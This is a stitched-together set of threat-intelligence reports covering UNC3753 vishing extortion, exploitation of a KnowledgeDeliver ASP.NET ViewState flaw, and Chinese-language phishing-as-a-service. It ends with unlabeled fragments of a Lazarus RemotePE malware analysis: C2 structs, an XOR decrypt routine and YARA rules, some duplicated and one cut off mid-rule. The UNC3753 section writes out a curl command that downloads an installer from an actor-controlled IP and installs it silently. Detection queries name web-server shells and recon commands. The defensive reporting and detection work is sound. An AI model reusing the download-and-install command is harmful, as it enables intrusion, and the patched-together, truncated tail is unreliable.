Written by: Chad Reams, Tufail Ahmed, Keith Knapp, Ashley Frazer, Tyler McLellan

Introduction 

From January through May 2026, Mandiant identified a financially motivated data theft extortion campaign executed by the threat cluster UNC3753 (also tracked as "Luna Moth," “Chatty Spider,” and "Silent Ransom Group") targeting dozens of organizations across professional, legal, and financial services in the United States.

UNC3753 leverages voice phishing (vishing) and social engineering deception techniques to achieve remote access into corporate environments. Using pretexts such as data migration or invoice related emails, the threat actors initiate phone conversations posing as IT support and convince targets to host screen-sharing sessions and download remote monitoring and management (RMM) utilities. Once inside the environment, the threat actors either directly conduct searches to locate and exfiltrate highly sensitive data, or manipulate the victim into executing these actions on their behalf. This data typically includes proprietary legal agreements, personally identifiable information (PII), and financial records for subsequent extortion demands.

Notably, in instances possibly linked to UNC3753, threat actors have accessed victims' systems in person. In these physical incidents, individuals posing as IT technicians entered corporate offices to attempt direct exfiltration of data from an endpoint using USB storage media. 

This blog post details the threat group's technical lifecycle across recent Mandiant Consulting incident response engagements, highlights tactics like physical office targeting, and provides actionable recommendations to safeguard endpoints and infrastructure.

Threat Detail

The UNC3753 campaign lifecycle reflects an optimized, fast-tempo operational model. In many Mandiant investigated incidents, the entire attack sequence—from initial target contact to data theft and extortion—occurred within a single business day. Recently, Mandiant observed data searches, staging, and theft initiated in under an hour. 

The threat group frequently initializes campaigns using benign, invoice-themed email lures sent from actor-controlled consumer email accounts. These messages contain no active links or malicious attachments. Instead, they typically contain a brief, generic message for example: “hello, here is the invcoie we talked about yesterday”. Google Threat Intelligence Group (GTIG) assesses that the primary purpose of these emails is to establish a pretext, raising the target's internal security concerns so they are more susceptible to follow-up voice calls.

Initial Access via IT Helpdesk Impersonation

The core of UNC3753's entry mechanism relies on targeted vishing. Mandiant has observed the group targeting personnel across all seniority levels, who are often publicly listed on the organization’s websites, to harvest phone numbers and email addresses. Acting as members of the organization's internal IT helpdesk or security team, threat actors place direct calls to these employees. 

The callers use a variety of verbal instructions to guide target behavior. Under the guise of addressing a security issue or aiding with a corporate data migration project, they build trust and direct the target to join a screen-sharing session.

Remote Screen Control and Legitimate Tool Abuse

Once the target is engaged, the threat actors bypass conventional automated boundary security and email filtering controls by instructing the user to download and execute screen-sharing applications. 

Screen-Sharing Utilities

UNC3753 instructs targets to initiate remote desktop and support sessions using built-in or commercial services, including Zoom, Microsoft Terminal Services, Microsoft Teams, and Quick Assist. During a Teams-facilitated intrusion, the threat actor held five distinct calls with the same target over a three-day period.

Commercial RMM Agents

UNC3753 frequently attempts to establish more persistent access by social engineering targets into downloading AnyDesk, Bomgar, or Zoho Assist installers. In one engagement, the threat actor attempted to install a "SuperOps RMM agent" by convincing the target to download and execute a payload via a cURL command.

Message Delivery via Privnote

Threat actors consistently utilize privnote[.]com, a web-based, self-destructing text utility, to transmit installation links and commands to targets. This evasion technique ensures that copy-paste vectors leave no permanent footprint on endpoint browsers or chat logs.

Example cURL command staging string observed in UNC3753 remote sessions:

curl -sL "http://[actor-controlled-ip]/installer" -o "SuperOps.msi" && msiexec /i "SuperOps.msi" /quiet

Infrastructure Pivoting and Local Staging

Intrusions have abused Bring Your Own Device (BYOD) remote environments to access internal enterprise assets. In separate Mandiant Consulting cases, UNC3753 established Zoom sessions directly on targets' personal BYOD endpoints. Using these compromised personal laptops, they accessed corporate virtual desktop infrastructure (VDI) using native client platforms, such as Windows 365 (Windows365.exe) or Citrix clients. 

Once VDI environment access is secured, the threat actors pivot to corporate file systems:

1. System Enumeration: The threat actors map local directories, enumerate active OneDrive folders, and crawl mapped network drives.

2. Document Management Targeted Harvesting: Threat actors target specific legal and document storage repositories.

3. Keyword Search and File Staging: Threat actors use specific keyword search functions within iManage to locate highly sensitive folders containing tax logs (Forms W-2, W-9, and 1099), audit files, corporate client agreements, and Social Security numbers (SSNs). Staged results are compiled and sorted within target-accessible subdirectories, primarily inside the user's Downloads folder or native Roaming profile path.

Data Theft

UNC3753 exfiltrates the staged data using a variety of methods to bypass security controls. They frequently use portable versions of WinSCP or Rclone. In other instances, they simply log into a threat actor-controlled consumer file sharing account directly within the victim's web browser and batch upload the stolen files.

• Cloud Storage Staging: Threat actors instruct targets—or directly control their screens—to drag and drop staged folders into threat actor-controlled consumer file sharing accounts. In several intrusions, the exfiltration destination included folders explicitly renamed to mimic the victim organization's branding.

• FTP Utilities: When browser-based uploads are restricted by endpoint controls, threat actors download FTP and SFTP client binaries, primarily WinSCP, to exfiltrate bulk packages. In one incident, the threat group exfiltrated 1.7 gigabytes of data from a target's local OneDrive folder to a Google Drive account before pivoting to a VDI session and exfiltrating an additional 14.4 gigabytes using WinSCP. Google has taken action against this actor by disabling the Drive accounts and assets associated with this activity.

• Email Forwarding: The threat actors have also had victims stage files from internal iManage repositories and instructed them to send the files to threat actor-controlled consumer email addresses from the target's mailbox.

Threat Actor Extortion Tactics

The threat cluster delivers unbranded extortion communications via email shortly after successfully stealing data, often within 30 minutes of exiting the target environment. 

These highly aggressive extortion letters give organizations a three-day deadline to respond and initiate ransom negotiations. If the victim organization is unresponsive, the threat actors declare they will call and email target employees and external clients directly to alert them of the data breach. The extortion letters explicitly emphasize that the leak will compromise client trust, invite substantial regulatory fines, and suggest that external clients sue the victim organization for data mishandling. Additionally, as part of a follow-on message the group has threatened to publish all exfiltrated archives on the LEAKEDDATA data leak site (DLS).

Sample Extortion Email

Figure 2: UNC3753 extortion note example

Data Leak Site

Suspected UNC3753 Activity Involving Physical Access

While UNC3753 primarily relies on digital vectors, GTIG assesses that associated threat actors have also attempted direct data theft using physical, in person access. This escalating tactic is corroborated by a recent FBI Cyber FLASH Alert highlighting instances where Silent Ransom Group threat actors leveraged physical office access to exfiltrate corporate data via removable USB media.

According to the FBI advisory, if remote social engineering attempts fail, actors will send an individual to a victim's physical location. The onsite threat actor will claim they need to image the device or create local backups to address a security issue. Once they gain access to the endpoint, they attempt to exfiltrate corporate data directly to an external drive.

Although limited forensic evidence and the absence of a subsequent extortion attempt prevent formal attribution, GTIG assesses that these physical intrusions are likely associated with UNC3753 based on structural, timeline, and targeting overlaps.

Attribution

GTIG attributes this campaign and related social engineering operations to UNC3753 based on infrastructure overlaps, domain registrar tracking, victimology, and target staging directories. UNC3753 (aliases: "Luna Moth," “Chatty Spider,” and "Silent Ransom Group (SRG)") is a financially motivated threat cluster active since at least March 2022. UNC3753 has TTP overlaps with UNC2686, a threat cluster that conducted "Bazarcall" style campaigns dating to early 2021. UNC3753 deployed LOCKBIT.BLACK in 2022, but has since prioritized data theft extortion-only operations typically involving threats to post stolen files to the LEAKEDDATA DLS. The threat cluster relies heavily on Remote Monitoring and Management (RMM) tools, unlike UNC2686 which deployed BAZARLOADER variants as well as TRICKBOT, URSNIF, and SILENTNIGHT. Initially, UNC3753 used subscription-themed billing email lures (such as fake software renewal alerts), typically with PDF attachments containing phone numbers for actor-controlled call centers. Beginning around March 2025, the cluster shifted tactics to pose as internal corporate IT helpdesk staff.

Remediation and Hardening

To mitigate the risk of voice phishing, physical office intrusions, and unauthorized endpoint control, GTIG recommends that organizations implement the following mitigation controls:

User Education

Conduct user awareness training specifically tailored to UNC3753 tactics, techniques, and procedures.

Physical Access and Verification Policies

Implement rigid out-of-band identity verification controls for all external contractors, technical staff, and facilities visitors. Mandate the following physical controls:

• Require visitors to display official credentials and photo identification.

• Require front-desk staff to copy and log all physical visitor IDs before granting access.

• Verify the arrival of all technicians against pre-scheduled work orders directly with the verified parent organization or helpdesk dispatcher.

• Enforce a policy requiring physical technical service personnel to be escorted by a corporate supervisor at all times.

Remote Access Conditional Access Controls

Implement remote access conditional access policies to ensure only corporate owned devices can authenticate to Virtual Desktop Instance (VDI) or Virtual Private Network (VPN) devices. This facilitates increased organizational control and visibility for potential Remote Monitoring and Management usage. 

Enforce Strict RMM and Screen-Sharing Software Controls

Audit corporate environments to block the installation and execution of unauthorized remote monitoring, management, and support utilities. Enforce application control policies (e.g. Windows Defender Application Control or third-party endpoint protection tools) to restrict execution of non-approved binaries. Organizations may also consider restricting interactive screen-control features within authorized virtual meeting platforms like Zoom and Teams. 

Endpoint Removable Media Hardening

To neutralize physical exfiltration vectors, disable read/write capabilities for all external USB mass storage devices. Enforce Group Policy Objects (GPOs) or MDM configurations to restrict:

• USB storage device installation.

• Removable media access.

• Optical media writes on all corporate endpoints and BYOD systems utilizing VDI entry.

Network Monitoring and Egress Control

Monitor firewall logs, network flows, and endpoint execution logs for indicative exfiltration and staging actions. Specifically:

• Block or alert on outbound connections to unauthorized file-sharing APIs and emails.

• Ensure full session logging with bytes transferred is enabled within Firewall log configurations.

• Monitor SSH traffic (Port 22) from internal VDIs and endpoints for high-volume WinSCP and Rclone transfers.

Application Log and Access Auditing

Review authentication and access metrics for critical document stores to identify bulk harvesting profiles.

• Configure real-time alerts in iManage, SharePoint, and corporate email directories for rapid file searches, search-term spikes, and mass file downloads.

• Implement multi-factor authentication (MFA) on business critical data repository applications, such as iManage. 

• Implement strict BYOD authentication controls, requiring MFA step-up queries when accessing VDI nodes.

Outlook and Implications

The targeting of US legal and professional services organizations by financially motivated actors is a persistent industry risk. Legal services firms represent high-value targets for extortion actors. They maintain concentrated repositories of extremely sensitive client transaction files, merger and acquisition plans, client trade secrets, and corporate regulatory reports. Threat groups recognize that legal entities are subject to heavy reputational and regulatory exposure and may be highly motivated to resolve extortion situations quietly to protect their professional standing.

Threat actors recognize that targeting the human element—specifically using voice-guided social engineering—enables them to easily bypass robust technical perimeters, web security gateways, and MFA configurations. 

Finally, the integration of in-person, physical intrusions represents an escalation in threat capability. While log-based defenses and endpoint telemetry have matured, physical corporate boundaries are frequently protected only by administrative procedures. Organizations must transition to a unified security posture that treats physical facility access control and endpoint-based hardware policies as equal components of their defensive perimeter.

Data Leak Site (DLS)

UNC3753 utilizes the following web platform to disclose the identities of victims and their compromised data.

• hxxps[:]//business-data-leaks[.]com

Phishing Domains

GTIG identified infrastructure registrations by suspected UNC3753 actors utilizing specific naming conventions, assessed as supporting their ongoing social engineering and vishing activities.

• <organization>-itdesk[.]com

• <organization>-it[.]com

• <organization>-helpdesk[.]com

Indicators of Compromise (IOCs) 

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.

Google Security Operations (SecOps)

Google SecOps customers have access to these broad category rules and more under the Mandiant Intel Emerging Threats rule pack. The activity discussed in the blog post is detected in Google SecOps under the rule names:

• Execute MSI Files Downloaded via Curl

• Suspected Rclone Exfiltration

MITRE ATT&CK

Written by: Takahiro Sugiyama, Peter Revelant, Mathew Potaczek

Introduction

In late 2025, Mandiant responded to a security incident involving a compromised web server running KnowledgeDeliver. KnowledgeDeliver is a Learning Management System (LMS) developed by Digital Knowledge commonly used in Japan. Mandiant identified a critical vulnerability that allowed unauthenticated Remote Code Execution (RCE). An unknown threat actor leveraged this access to inject malicious code into the LMS platform, with the goal of infecting users visiting the site.

This vulnerability stems from the use of identical pre-shared ASP.NET machine keys across multiple customer deployments. The vulnerability was initially exploited as a zero-day, now tracked as CVE-2026-5426.

The Vulnerability

KnowledgeDeliver installations deployed before Feb. 24, 2026 relied on a standardized web.config file provided by the vendor. This configuration file contained hardcoded machineKey values used by the ASP.NET framework to encrypt and sign data, including ViewState payloads.

Because these keys were identical across independent customer environments, a threat actor who obtained the keys from one deployment could compromise any other internet-facing KnowledgeDeliver instance.

The following is an example of the relevant configuration line found in the web.config file:

<machineKey decryptionKey="<REDACTED>" validationKey="<REDACTED>" />

The ASP.NET ViewState persists page state across postbacks. When the machineKey is known, a threat actor can craft a malicious ViewState payload. By sending this payload in an HTTP request (via the __VIEWSTATE parameter), the threat actor can make the server deserialize it.

This technique follows the pattern of the ViewState Deserialization Zero-Day Vulnerability affecting Sitecore (previously reported by Mandiant), and Code injection attacks using publicly disclosed ASP.NET machine keys reported by Microsoft. This highlights how it is critical to keep the machine key unique and secure.

Post-Exploitation Activity

Once access was established, the threat actors focused on maintaining their presence and expanding the impact of the compromise.

BLUEBEAM Web Shell Deployment

The threat actor deployed a .NET-based in-memory web shell called BLUEBEAM (also known as Godzilla). The use of BLUEBEAM is consistent with the Microsoft reporting. This malware operates entirely in memory within the IIS worker process (w3wp.exe), making it difficult to detect through traditional file-based scanning. It allows threat actors to execute further commands and payloads by sending encrypted data via HTTP POST request bodies.

File Tampering

The threat actor was observed executing commands to escalate their control over the web server's file system:

1. Permission Modification: The threat actor used icacls to grant "Everyone" full access to the web application directory.

2. JavaScript Tampering: The threat actor modified an application JavaScript file, adding code to perform the following:

• Display a fake security alert, prompting users to install a "security authentication plugin".

• Silently load a remote malicious script hosted on a threat actor-controlled domain.

Cobalt Strike Infection

The remote script convinced users to download a fake installer, which led to workstations being infected with a Cobalt Strike BEACON backdoor. The payload was encrypted using a key that used the name of the compromised organization, which indicated that the threat actor prepared this payload specifically for the targeted organization.

How to Hunt for This Activity

Organizations should monitor for the following indicators to identify potential ViewState exploitation and post-exploitation activity.

1. Application Event Logs (Event ID 1316)

Monitor the Windows Application log for Event ID 1316 from the source ASP.NET 4.0.30319.0 (or similar).

• Failed Attempt (Integrity Failure): Event code: 4009-++-Viewstate verification failed. Reason: The viewstate supplied failed integrity check. May indicate an attack attempt with an incorrect key.

• Successful Execution (Invalid ViewState): Event code: 4009-++-Viewstate verification failed. Reason: Viewstate was invalid. Confirms integrity checks were passed. Deserialization of the payload was attempted and may have succeeded. The payload may or may not have been executed. 

Mandiant decrypted payload strings recorded in the event log messages with the server’s machine keys and recovered a payload related to a BLUEBEAM web shell.

2. Suspicious Process Activity

Monitor for unusual child processes spawned by w3wp.exe. Commands observed include:

• cmd.exe /c ...

• whoami

• powershell.exe

3. File Integrity Monitoring

Monitor for unauthorized changes to .js, .aspx, or .config files within the web root. Specifically, look for the addition of remote script loaders or unusual logic in commonly used libraries.

4. Anomalous User-Agent Strings

Mandiant identified User-Agent strings consisting of two distinct identifiers concatenated together, which were consistent with ones reported in ViewState Deserialization Zero-Day vulnerability. Monitor for web request logs for such anomalous User-Agent strings. The following are examples of identified User-Agent strings:

• Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.2 (KHTML, like Gecko) Chrome/22.0.1216.0 Safari/537.2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36

• Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101213 Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.7.62 Version/11.01 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36

• Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) chromeframe/10.0.648.205 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36

Remediation and Mitigation

• Rotate Machine Keys: Immediately generate a unique, cryptographically strong machine key for each KnowledgeDeliver instance. This is the only way to invalidate the shared secret.

• Restrict Access: If possible, limit access to the LMS to known organizational IP address ranges.

• Investigation: Hunt for this activity, and conduct a thorough investigation if any signs of exploitation are identified.

Outlook and Implications

The exploitation of KnowledgeDeliver highlights the severe risks of using shared secrets in deployment templates. A single leaked key can compromise an entire ecosystem of installations. By implementing unique secrets and robust endpoint monitoring, organizations can defend against these deserialization attacks.

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a free GTI Collection for registered users.

Google Security Operations (SecOps) 

The following SecOps searches can be used to hunt for this activity.

(metadata.log_type = "WINEVTLOG" or metadata.log_type = "WINEVTLOG_XML") 
metadata.product_event_type = "1316"
additional.fields["Message"] = /Event code: 4009\b/ nocase

(metadata.event_type = "PROCESS_LAUNCH" or metadata.event_type = "PROCESS_OPEN") AND
principal.process.command_line = /w3wp.exe/ nocase AND
target.process.command_line = /cmd.+ \/c |whoami|powershell/ nocase

SecOps customers have access to the following rules and more under the Mandiant Hunting Rules, Mandiant Frontline Threats, Mandiant Intel Emerging Threats rule packs:

• ASP.NET ViewState Deserialization Attempt

• W3wp Launching Cmd With Recon Commands

• W3wp Launching Encoded Powershell

• W3wp Launching Icacls

• Web Server Process Launching Whoami

• IIS ViewState Exploitation Success

• IIS ViewState Exploitation Followed by Web Root File Tampering

• Possible Windows Exchange Server Spawning Shell

Acknowledgements

Mandiant would like to extend our thanks to the Digital Knowledge team for their collaboration regarding this disclosure.

While Russian-speaking threat actors have historically dominated the phishing-as-a-service (PhaaS) landscape, a rival ecosystem is rapidly growing within the Chinese-language underground. Google Threat Intelligence Group (GTIG) analyzed a dozen current PhaaS offerings in the Chinese underground, all of them mature services and many likely tied intricately to the broader criminal ecosystem in that region. These services not only lower the barrier to entry for Chinese cyber criminals, but reveal broader patterns on the evolution of social engineering and credential theft. Late last year, Google took legal action against one PhaaS provider and has worked since then to endorse legislation and enact technical safeguards against these types of scams.

Within this ecosystem, GTIG has observed a fundamental move away from static password harvesting towards real-time interception and tokenization. By utilizing live administration panels, attackers can interact with victims in real-time to capture one-time passcodes (OTPs), allowing them to bypass multifactor authentication (MFA) instantly.

Instead of simply gaining account access, these operations focus on exploiting digital wallet provisioning to transform stolen payment data into tokenized assets within ecosystems. This shift—combined with the use of encrypted delivery channels like RCS and iMessage to bypass traditional carrier security filters on SMS messages—represents an emerging development where the goal is no longer just a login, but securing direct, unauthorized control over a victim's financial accounts.

The Chinese-Language PhaaS Ecosystem 

The Chinese-language PhaaS ecosystem is not merely a regional mirror of Russian operations – it is a distinct market shaped by a unique professional culture. Nearly all the legitimate organizations mimicked by these phishing services are non-Chinese entities, suggesting they rarely target China.

• Public impact: Unlike the major Russia-based PhaaS offerings that are typically used to target customers of large organizations, phishing services advertised in Chinese-language communities are often designed to target the general public more opportunistically.

• Open Operations: In contrast to their Russian-speaking counterparts, providers of Chinese-language phishing services often operate openly with less regard for operational security. For instance, the threat actors running these services regularly post photos of their luxury lifestyles on Telegram.

• Focus on Telegram: Advertisements for the phishing services are regularly posted to Telegram rather than channels such as WeChat (Weixin) or Tencent QQ, which are regionally more popular. This approach is consistent with the broader Chinese-language cyber crime ecosystem.

• Extensive offering: While PhaaS is at the core of these operations, these developers also typically offer numerous ancillary services, forming a complete, mature, and extensive offering. These include the sale of personally identifiable information (PII), domain name registration and virtual private server (VPS) hosting services, server rentals, money laundering services, eavesdropping devices (International Mobile Subscriber Identity [IMSI] catchers), and message sending services (spamming assistance). Some platform vendors are also involved in trading stolen payment card information. 

Notable Chinese-Language PhaaS TTPs

1. Delivery via RCS and iMessage: These attacks begin by exploiting trust in modern communication. Rather than traditional SMS, these Chinese-language PhaaS operators heavily leverage Rich Communication Services (RCS) and Apple’s iMessage. Protocols that use end-to-end encryption make it difficult for server-side delivery infrastructure to inspect or filter malicious links, which makes on-device protections critical. Messages also contain more extensive engagement features (including read receipts, typing indicators, group chat functionalities, as well as the ability to send high-resolution images, videos, and larger files). This makes them ideal for social engineering operations, as lures appear remarkably legitimate to the average user. 
2. Real-time Interception: When a victim clicks a malicious link and enters their credentials, the data is displayed instantly on an administrative panel. This allows an adversary to interact with the victim in real-time. As the victim is prompted for an OTP, an attacker simultaneously triggers that same OTP request on their own device. The victim enters the code into the phishing page, and the attacker captures it seconds before it expires.
3. Leveraging Digital Wallets for Monetization: A defining characteristic of these operations is their exploitation of digital wallet provisioning to monetize stolen payment details. Attackers use captured credentials and OTPs to provision the victim’s card into a digital wallet on an attacker-controlled device. Once tokenized, the card can be used for high-value transactions, contactless payments, and ATM withdrawals. While payment card data theft is the focus, this ecosystem also develops brokerage-focused templates, which can be used to facilitate traditional account takeovers (ATO) for wire fraud and stock manipulation.
4. AI-Based Automation: Multiple Chinese-language PhaaS operators have adopted AI for their operations to enable scale and stealth. As one example, the Darcula PhaaS platform, which we link to UNC5814, has moved away from static templates, instead utilizing AI-powered page generators and browser automation tools like Puppeteer. This enables users to clone legitimate websites by replicating their HTML, CSS, JavaScript, and visual elements through providing the target website's URL. As each phishing page is unique as opposed to relying on static templates, signature-based detection methods are rendered increasingly ineffective. 

Localization-as-a-Service

The Chinese-speaking PhaaS ecosystem has shifted towards a highly automated model capable of generating localized content for diverse international markets. Unlike traditional phishing kits that have historically relied on static and poorly translated templates, these operators provide the infrastructure for cultural fluency at scale. By offering everything from AI-powered page generators to region-specific delivery assistance, they enable low-skilled affiliates to launch high-fidelity campaigns. 

YY Lai Yu (YY来鱼): A Case Study in Localization

YY Lai Yu (YY来鱼), first advertised in August 2024, is one example of a PhaaS offering that provides a local digital ecosystem. While the platform supports phishing across 119 countries, its largest focus has been on Japan. Managed by a core team including "YY Lai Yu," "Jeffrey Carrie," and "Very casual," the service provides Chinese-speaking threat actors with the localized infrastructure necessary to effectively target the Japanese consumer ecosystem.

Since November 2025, YY Lai Yu has offered more than 400 phishing templates to its customers, moving beyond generic banking lures to also target the digital lifestyle of Japanese residents. These templates included various Japanese language and Japanese brands, including for Amazon, Apple, DMM, Epos Card, JA Bank, JCB Card, JR (Rail), Matsui Securities, Mercari, Monex, Nintendo, Nomura Securities, Orico Card, PayPay, Rakuten Securities, and Sagawa Express. However, instead of merely providing fake account pages, the threat actors tapped heavily into local consumer habits by developing "points" (积分) and rewards redemption lures, pressuring victims to redeem supposedly expiring loyalty points for cash or goods. Demonstrating a deep awareness of the local economic climate, the operators also exploited cost-of-living concerns by crafting lures around the Japan Winter Electricity Subsidy. 

By deploying distinct domains that impersonate everything from local transit and payment apps to major e-commerce and gaming platforms, YY Lai Yu provides an example of how comprehensive these PhaaS offerings have become. To protect this highly localized infrastructure, the phishing sites featured a unique human verification anti-bot screen that appeared prior to the actual phishing page. By requiring a manual click to proceed, this mechanism successfully hindered automated analysis by security vendors, adding a layer of stealth to the localized campaign.

Like most other services, YY Lai Yu leverages RCS and iMessage to send encrypted messages in bulk and supports synchronized interactions with victims to harvest payment card and OTP data. The administration panel allows users to query their phished data and blocklist or highlight certain types of cards according to their BIN number, blocklist individual countries or territories, and register and manage new domains for their phishing pages using Alibaba's domain registration service. Additionally, panel administrators can create new operator users and assign them permissions. The service also offers domains that can be purchased within the administration panel. 

While YY Lai Yu showcases a focus on countries like Japan, the broader Chinese PhaaS ecosystem casts a wide global net. GTIG has observed other prominent services routinely deploying automated infrastructure to compromise users across the Americas, Europe, Australia, and the Middle East. 

Outlook 

The continued popularity of these services demonstrates a sustained interest in payment card fraud from China-based threat actors. The multitude of sophisticated PhaaS platforms available for purchase and the threat actors' focus on the exploitation of digital wallet tokenization and MFA bypass demonstrates that the China-based criminal ecosystem continues to evolve, enabling threat actors with limited technical skills to conduct phishing operations. 

Standard phishing security measures (such as user awareness training) remain an important first line of defense. However, the proliferation of the Chinese-language PhaaS ecosystem underscores a need for technical security controls that go beyond user education. For example, transitioning to FIDO2/WebAuthn infrastructure represents an effective countermeasure against the real-time interception of account authentication OTPs. While security keys cannot prevent a user from entering payment details into a novel phishing site directly, increasing the difficulty of leveraging stolen credentials still radically shrinks an adversary's opportunities. These enterprise authentication upgrades should be paired with risk-based verification and device fingerprinting by issuing banks during the digital wallet provisioning process.

As these operators continue to refine their tooling, the goal for defenders must shift from simply "detecting" a phish to making the victim's credentials technically impossible to weaponize. Ongoing and frequent updates to these platforms indicate that Chinese-speaking PhaaS operators are continuing to refine their tooling to maximize global impact.

          name (string) = Ias
   displayname (string) = Internet Authentication Service
   description (string) = Internet Authentication Service (IAS) is a component of Windows Server operating systems that provides centralized user authentication, authorization and accounting.
      servicedll (path) = %SystemRoot%\system32\Iassvc.dll
       imagepath (path) = %systemroot%\system32\svchost.exe
imagepath_args (string) = -k netsvcs -p
    objectname (string) = LocalSystem
         start (string) = Auto Start (2)
          type (string) = Service - Own Process (0x10)
  errorcontrol (string) = Normal (1)

48 33 c0          ; XOR    RAX, RAX
c3                ; RET

struct RemotePEC2Config 	// sizeof=0xb38
{
  int dwReconnectMinutes;	// minutes to wait after C2 session ends
  int dwSleepUntilEpoch;    // UNIX epoch wake-up timestamp
  int dwSleepMin;		    // minimum sleep time between C2 polls
  int dwSleepMax;           // maximum sleep time between C2 polls
  wchar_t wsC2Url_1[260];   // C2 URL (up to three)
  wchar_t wsC2Url_2[260];
  wchar_t wsC2Url_3[260];
  wchar_t wsProxy[260];     // optional proxy address
  char sProxyUserName[128]; // optional proxy username
  char sProxyPassword[128]; // optional proxy password
  wchar_t wsUserAgent[260]; // configurable HTTP user-agent string
};

struct C2Message {
    uint64_t aes_seed;          // SplitMix64 seed for AES key and nonce
    unsigned char aes_tag[16];  // AES authentication tag
    unsigned char ciphertext[]; // AES-GCM encrypted data
};

struct C2Command {
    uint32_t payload_size;
    uint16_t class_id;    	 // class ID from the commands table
    uint16_t function_id; 	 // function ID from the commands table
    uint32_t request_id;  	 // used to match responses
    unsigned char payload[]; // variable length, payload_size bytes
};

struct C2CommandBatch {
    uint16_t command_count;
    C2Command commands[];	 // variable length, command_count entries
};

struct C2CommandResponse {
    uint32_t response_size;
    uint32_t error;	   	      // error code, if any
    uint32_t request_id;  	  // used to respond to a C2Command request
    unsigned char payload[];  // variable length, compressed, response_size bytes
};

struct C2CommandResponseBatch {
    uint16_t command_count;
    C2CommandResponse commands[];	 // variable length, command_count entries
};

rule Lazarus_DPAPILoader_Hunting {
  meta:
    description = "Hunting rule to detect DPAPILoader, a loader used to load RemotePE."
    author      = "Fox-IT / NCC Group"
 
  strings:
    $msg_1 = "[!] Could not allocate memory at the desired base!\n"
    $msg_2 = "[!] Virtual section size is out ouf bounds: "
    $msg_3 = "[!] Invalid relocDir pointer\n"
    $msg_4 = "[-] Not supported relocations format at %d: %d\n"
    $msg_5 = "[!] Cannot fill imports into 32 bit PE via 64 bit loader!\n"
 
  condition:
    any of them and pe.imports("Crypt32.dll", "CryptUnprotectData")
}
 
rule Lazarus_RemotePE_C2_strings {
  meta:
    description = "RemotePE strings used for C2."
    author      = "Fox-IT / NCC Group"
 
  strings:
    $a = "MicrosoftApplicationsTelemetryDeviceId" wide ascii xor
    $b = "armAuthorization" wide ascii xor
    $c = "ai_session" wide ascii xor
 
  condition:
    uint16(0) == 0x5A4D and all of them
}
 
rule Lazarus_RemotePE_class_strings {
  meta:
    description = "RemotePE class strings."
    author      = "Fox-IT / NCC Group"
 
  strings:
    $a = "IMiddleController" ascii wide xor
    $b = "IChannelController" ascii wide xor
    $c = "IConfigProfile" ascii wide xor
    $d = "IKernelModule" ascii wide xor
 
  condition:
    all of them
}

rule Lazarus_RemotePE_DPAPI_Encrypted_config {
  meta:
    description = "Detects RemotePE DPAPI-encrypted config on disk"
    author      = "Fox-IT Security Research Team"
  condition:
    filesize == 3094
    and uint32(0) == 0x00000001      // DPAPI blob version = 1
    and uint32(0x8E) == 0x00000B40   // dwDataLen = 0xB40 (padded config)
}

sc config sessionenv start=auto

def crypt_buf(data: bytes) -> bytes:
    xor_key = bytearray(range(0x10))
    buf = bytearray(data)
    for idx in range(len(buf)):
        a = xor_key[(idx + 5) & 0xF]
        b = xor_key[(idx - 3) & 0xF]
        c = xor_key[(idx - 7) & 0xF]
        xor_byte = a ^ b ^ c
        buf[idx] ^= xor_byte
        xor_key[idx & 0xF] = xor_byte
 
    return bytes(buf)

struct SystemInfoWindows   // sizeof=0x478
{
    uint32  job_id;        // 0x10005 = Windows
    wchar   bot_id[20];
    wchar   hostname[64];
    wchar   whoami[50];
    uint32  dwMajorVersion;
    uint32  dwMinorVersion;
    uint32  dwPlatformId;
    uint16  padding1;
    wchar   ip_address[20];
    wchar   timezone[50];
    wchar   gpu[50];
    wchar   memory[50];
    uint16  padding2;
    uint32  wakeup_reason; // 0 = hibernation, 1 = USB, 2 = RDP
    wchar   os_version[256];
};

struct SystemInfoPOSIX     // sizeof=0x478
{
    uint32  job_id;        // 0x20005 = POSIX
    char    bot_id[16];
    char    unused1[24];
    char    hostname[128];
    char    username[114];
    char    ip_address[40];
    char    timezone[100];
    char    arch[100];
    char    memory[100];
    char    unused2[6];
    char    os_version[512];
};

struct ThemeForestC2Config
{
    uint64  bot_id;
    wchar   urls[10][1024];
    wchar   shell[1024];
    wchar   wts_console_cmdline[10][1024];
    char    wts_console_cmdline_enabled[10];
    uint32  last_checkin_epoch;
    uint32  configured_hibernate_minutes;
    uint32  active_hibernate_minutes;
    uint16  callback_settings;
};

import "pe"

rule Lazarus_DPAPILoader_Hunting {
  meta:
    description = "Hunting rule to detect DPAPILoader, a loader used to load RemotePE."
    author      = "Fox-IT / NCC Group"

  strings:
    $msg_1 = "[!] Could not allocate memory at the desired base!\n"
    $msg_2 = "[!] Virtual section size is out ouf bounds: "
    $msg_3 = "[!] Invalid relocDir pointer\n"
    $msg_4 = "[-] Not supported relocations format at %d: %d\n"
    $msg_5 = "[!] Cannot fill imports into 32 bit PE via 64 bit loader!\n"

  condition:
    any of them and pe.imports("Crypt32.dll", "CryptUnprotectData")
}

rule Lazarus_RemotePE_C2_strings {
  meta:
    description = "RemotePE strings used for C2."
    author      = "Fox-IT / NCC Group"

  strings:
    $a = "MicrosoftApplicationsTelemetryDeviceId" wide ascii xor
    $b = "armAuthorization" wide ascii xor
    $c = "ai_session" wide ascii xor

  condition:
    uint16(0) == 0x5A4D and all of them
}

rule Lazarus_RemotePE_class_strings {
  meta:
    description = "RemotePE class strings."
    author      = "Fox-IT / NCC Group"

  strings:
    $a = "IMiddleController" ascii wide xor
    $b = "IChannelController" ascii wide xor
    $c = "IConfigProfile" ascii wide xor
    $d = "IKernelModule" ascii wide xor

  condition:
    all of them
}

rule Lazarus_PerfhLoader_XOR_key {
  meta:
    description = "XOR key used for shellcode obfuscation."
    author      = "Fox-IT / NCC Group"

